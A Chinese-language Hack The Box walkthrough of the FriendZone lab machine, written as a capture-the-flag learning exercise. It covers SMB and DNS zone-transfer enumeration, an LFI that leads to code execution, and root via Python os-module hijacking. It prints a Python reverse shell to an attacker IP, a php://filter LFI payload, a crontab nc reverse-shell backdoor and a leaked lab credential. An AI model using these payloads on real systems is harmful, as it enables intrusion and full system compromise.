[HTB] FriendZone Writeup

admin 2022年12月10日21:02:20评论43 views字数 9188阅读30分37秒阅读模式


概述 (Overview)


[HTB] FriendZone Writeup

  • MACHINE TAGS

    • LFI

    • DNS Zone Transfer

    • Web

    • File Misconfiguration

攻击链 (Kiillchain)

TTPs (Tactics, Techniques & Procedures)

  • nmap Script

  • smbmap

  • enum4linux

  • python

阶段1:枚举

老规矩通过 nmap 进行开局,枚举下服务开发端口并识别服务:

[HTB] FriendZone Writeup

PORT    STATE SERVICE     VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -59m59s, deviation: 1h43m54s, median: 0s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONEx00
| Domain name: x00
| FQDN: friendzone
|_ System time: 2021-06-30T14:30:50+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-30T11:30:49
|_ start_date: N/A

从上诉信息中可以获悉到目标服务器开放了 SMB 共享服务,存在DNS服务、FTP服务和HTTP服务,并且留意到证书内有个 friendzone.red 域名。

先用 smbmap 枚举下共享服务,查看下文件权限:

# smbmap -H 10.10.10.123
[+] Guest session IP: 10.10.10.123:445 Name: 10.10.10.123
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))

generalDevelopment 是允许匿名访问的,Development 还允许写入。enum4linux 工具走一下:

# enum4linux 10.10.10.123
...省略...

=========================================
| Share Enumeration on 10.10.10.123 |
=========================================

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.10.123
//10.10.10.123/print$ Mapping: DENIED, Listing: N/A
//10.10.10.123/Files Mapping: DENIED, Listing: N/A
//10.10.10.123/general Mapping: OK, Listing: OK
//10.10.10.123/Development Mapping: OK, Listing: OK
//10.10.10.123/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing *

[+] Enumerating users using SID S-1-5-21-3651157261-4258463691-276428382 and logon username '', password ''
S-1-5-21-3651157261-4258463691-276428382-501 FRIENDZONEnobody (Local User)
S-1-5-21-3651157261-4258463691-276428382-513 FRIENDZONENone (Domain Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix Userfriend (Local User)
S-1-5-32-544 BUILTINAdministrators (Local Group)
S-1-5-32-545 BUILTINUsers (Local Group)
S-1-5-32-546 BUILTINGuests (Local Group)
S-1-5-32-547 BUILTINPower Users (Local Group)
S-1-5-32-548 BUILTINAccount Operators (Local Group)
S-1-5-32-549 BUILTINServer Operators (Local Group)
S-1-5-32-550 BUILTINPrint Operators (Local Group)

可以看到,存在一个 friend 的用户。尝试使用 smbclient 去查看 smb 目录内内容:

root@kali:~# smbclient -W 'WORKGROUP' -L '10.10.10.123' -U''%''

但经过验证用 smbclient 来查看  generalDevelopment 不允许匿名访问和目录遍历,就很纳闷,明明 smbmap 可以看到目录内容。

[HTB] FriendZone Writeup

再用 nmap 的脚本对smb共享进行验证:

# nmap --script smb-enum-shares.nse -p445 10.10.10.123                                                                                                    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 07:56 EDT
Nmap scan report for 10.10.10.123
Host is up (0.079s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-enum-shares:
| account_used: guest
| \10.10.10.123Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:etcDevelopment
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.10.10.123Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:etchole
| Anonymous access: <none>
| Current user access: <none>
| \10.10.10.123IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.10.10.123general:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:etcgeneral
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.10.10.123print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:varlibsambaprinters
| Anonymous access: <none>
|_ Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 40.54 seconds

可以看到,smb-enum-shares 脚本比上述两种枚举信息多出了  Path 绝对路径。

阶段2:工具和利用

阶段2.1:DNS信息泄露

然后我用 /bin/smbclient、/bin/impacket-smbclient、/bin/pth-smbclient 都试过了一遍,最后用 /bin/pth-smbclient 成功进入了目录文件,很迷。

现在再看时才发现是自己伞(S)兵(B)了,把//和写反了,导致 smbclient 工具无法正常运行。smbclient在没有权限的情况是无法进入 smb > 模式的,所以要指定具有权限的文件夹名称才行。这里也可以不使用 smbclient 类工具,直接挂载也是可以的。

[HTB] FriendZone Writeup

# cat creds.txt                                                                                                                           
creds for the admin THING:

admin:WORKWORKHhallelujah@#

creds.txt 文件中获得一组账号密码,那么肯定是存在登录了,但枚举 ssh、ftp 都失败了,转回来看看http服务吧。

打开之后是一张意义不明的图片,在网站最下面可以得到一个域名:

[HTB] FriendZone Writeup

综合证书里出现的域名,对DNS进行枚举看有没有新的收货:

[HTB] FriendZone Writeup

将DNS中得到的域名信息全都加载到 /etc/hosts 中:

10.10.10.123 friendzone.red friendzoneportal.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red

这里还有个有趣的事,当时尝试 http 访问但没有结果返回,一度以为我的网出了问题,最后换成https才看到新东西:

[HTB] FriendZone Writeup

阶段2.2:Web路径遍历

又是一张意义不明的图片,一个不算胖子的人在健身… 查看页面原代码发现存在一串注释信息:

[HTB] FriendZone Writeup

输入提示的目录看到了一串新的提示:

[HTB] FriendZone Writeup

Testing some functions !

I'am trying not to break things !

NUlwelBJTWFsNDE2MjUwNTk4MzVwRTVBQlNNOFJH

base64解密后得到:0MXVDEbMb71625059757vt5gTWcyNe,暂时不知道是干嘛的.. 看看其他的域名有什么:

[HTB] FriendZone Writeup

只能上传图片,上传完成后只返回了一串类似时间戳的数字:

Uploaded successfully !
1625063556

查看 administrator1.friendzone.red ,发现存登录页面,但无论我怎么输入上面收集到的密码组合就是进不去:
[HTB] FriendZone Writeup

尝试对其进行目录枚举,发现了新东西 dashboard.phplogin.php 页面:

$ gobuster dir -u https://administrator1.friendzone.red -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 30 -x php,txt -k
...
/dashboard.php (Status: 200) [Size: 101]
/login.php (Status: 200) [Size: 7]
...

浏览 /login.php 提示指向 dashboard.php:

[HTB] FriendZone Writeup

dashboard.php 页面则存在图片预览功能:

[HTB] FriendZone Writeup

尝试在URL中加入 image_id=a.jpg&pagename=timestamp,在内容中显示了一张图片,路径指向的是image目录:

[HTB] FriendZone Writeup

阶段2.3:LIF Fuzzing

在尝试其他字段枚举时,发现了一个 timestamp.php 文件 :

[HTB] FriendZone Writeup

尝试查看这些文件:
[HTB] FriendZone Writeup
[HTB] FriendZone Writeup

尝试使用 burp 对参数进行 LFI Fuzzing,发现当 pagename 参数为 login 的时候会显示之前页面上的内容,猜测可能存在文件加载的问题:
[HTB] FriendZone Writeup

开始各种尝试:uploads.friendzone.red上传后 Fuzz 失败,本地文件加载失败(只能加载php后缀名的文件),最终通过在 smb 的 Development 文件夹内创建PHP脚本,实现了这个攻击链。

[HTB] FriendZone Writeup

咦,里面怎么有一个 test.php 的文件?上HTB上看了下居然有人和我在同时做题,嘿嘿。

[HTB] FriendZone Writeup

利用成功,接着反弹一个会话shell

password=lol&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.15",9900));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

/home/friend/ 目录下找到了 user flag

阶段3:权限提升

阶段3.1:信息枚举

尝试搜索 friend 用户有权限操作的文件:find / -group friend
[HTB] FriendZone Writeup

发现可疑的 os.pyc 文件,并在 /var/www 目录下发现一组密码:

[HTB] FriendZone Writeup

使用该密码成功登录到目标服务器:
[HTB] FriendZone Writeup

尝试通过 linpeas.sh 查看是否存在可疑的信息,然而并没有。转而使用 pspy 看看是否存在计划任务的执行,果然发现了点东西:

[HTB] FriendZone Writeup

查看这个Python脚本:

#!/usr/bin/pythonimport os

to_address = "[email protected]"from_address = "[email protected]"print "[+] Trying to send email to %s"%to_address#command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''#os.system(command)# I need to edit the script later# Sam ~ python developer

这段脚本仅打印了一些提示内容,后面邮件发送部分是被注释了,看来最终的提权利用点就是 import os 了。

[HTB] FriendZone Writeup

查看下文件的权限:

[HTB] FriendZone Writeup

阶段3.2:PYTHON hijacking

在python中,如果你执行一个脚本并加载外部文件是用 import 操作的,它的加载机制是优先加载当前脚本运行目录中的同名文件,再去记载系统组件目录下的同名文件,所以如果这些内容是外部可控的,那么我们就可以利用这种机制进行攻击。

举个栗子,我在 tmp 目录中运行python cli,然后将tmp绝对路径载入到系统路径中去,直接加载同名文件,文件中的 print() 函数立马就被执行了:
[HTB] FriendZone Writeup尝试将反弹shell语句写入到可控的 os.py 文件中:
[HTB] FriendZone Writeup

调试下发现存在错误,对象不存在:
[HTB] FriendZone Writeup

最后将反弹shell语句放到 os.py 文件的末尾处,成功反弹了root身份的shell。

[HTB] FriendZone Writeup


说实话,我一点都不喜欢这个靶机,一堆兔子洞不说还要进行字典枚举。在真实的场景中当然是能接受的,但在做题的时候就是一个坑,浪费时间不说还看点运气。差评

复盘

关于 smbmap

在复盘该题的 Writeup 时,发现 smbmap 其实有一个 -R 递归参数,在结合 --depth 可控制递归深度。这样就不要挨个目录去重复敲一遍命令了。

$ smbmap -H 10.10.10.123 -R --depth 5

[HTB] FriendZone Writeup

关于验证https

首先快速处理DNS域传送返回的域名:

$ dig axfr friendzone.red  @10.10.10.123 > friendzone
$ dig axfr friendzoneportal.red @10.10.10.123 >> friendzone
$ cat friendzone | grep friendzone | grep IN | awk -F ' ' '{print $1}' | sed 's/.$//g' | sort | uniq > hosts

然后 vim 操作 ctrl+v 首行加 https:// 前缀,在用 aquatone 去做验证站点的请求,减少了使用浏览器的操作,还带页面截图。

https://github.com/michenriksen/aquatone.git

$ cat hosts | ./aquatone

[HTB] FriendZone Writeup

关于LFI

PHP 内置 URL 风格的封装协议!https://www.php.net/manual/zh/wrappers.php

汗,好久没捣鼓PHP了我这直接忘了用了… 尴尬啊… 有点时间没捣鼓PHP就忘得差不多了…

image_id=a.jpg&pagename=php://filter/read=convert.base64-encode/resource=login

关于反弹shell

其实没必要多此一举上传一句话脚本或者大马,直接上传 /usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php 开NC监听即可。

其他方式提权-写定制任务

做完题看其他人的 Writeup ,发现有往定时任务里写反弹shell的方式,所以记录下:

shell = '''
* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.15 9900 >/tmp/f
'''
f = open('/etc/crontab', 'a') f.write(shell)
f.close()

参考

  • https://zhuanlan.zhihu.com/p/126995143

  • https://halfclock.github.io/2019/06/07/python-import-and-running/

原文始发于微信公众号(一个人的安全笔记):[HTB] FriendZone Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月10日21:02:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HTB] FriendZone Writeuphttps://cn-sec.com/archives/772312.html

发表评论

匿名网友 填写信息